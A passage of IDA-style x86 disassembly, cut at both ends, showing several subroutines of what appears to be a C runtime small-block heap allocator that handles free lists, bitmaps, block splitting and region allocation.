		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi

loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi

loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------

loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------

loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]

loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD

loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------

loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_4CF014
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_4CF00C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4CF00C
		mov	eax, dword_4CF014
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4CF014
		mov	ecx, dword_4CF00C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4CF014
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4CF014
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4CF014

loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4CF014
		push	dword ptr [eax+10h]
		push	0
		push	dword_4CF024
		call	near ptr 2710439h
		nop
		mov	eax, dword_4CF018
		mov	edx, dword_4CF01C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4CF014
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4CF018
		cmp	eax, dword_4CF014
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h

loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_4CF01C
		mov	dword_4CF010, eax

loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4CF00C, edi
		mov	dword_4CF014, eax

loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4CF018
		mov	edx, dword_4CF01C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------

loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_4CF010
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154

loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B

loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx

loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------

loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax

loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2

loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------

loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]

loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx

loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------

loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax

loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB

loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2

loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------

loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_4CF010, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230

loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D

loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216

loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]

loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------

loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi

loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]

loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------

loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]

loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------

loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]

loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_4CF014
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4CF00C
		jnz	short loc_41B3D9
		and	dword_4CF014, 0

loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_4CF018
		mov	ecx, dword_4CF008
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4CF01C
		push	edi
		push	dword_4CF024
		nop
		call	near ptr 2840000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_4CF008, 10h
		mov	dword_4CF01C, eax
		mov	eax, dword_4CF018

loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_4CF01C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4CF024
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2720000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 2870843h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4CF024
		call	near ptr 2710439h
		nop

loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------

loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4CF018
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------

loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 2870843h
		nop
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------

loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]

loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507

loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi

loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------

loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi

loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------

loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx

loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------

loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]

loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------

loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------

loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi

loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi

loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------

loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi

loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41B841:				; CODE XREF: sub_41B592+29Fj
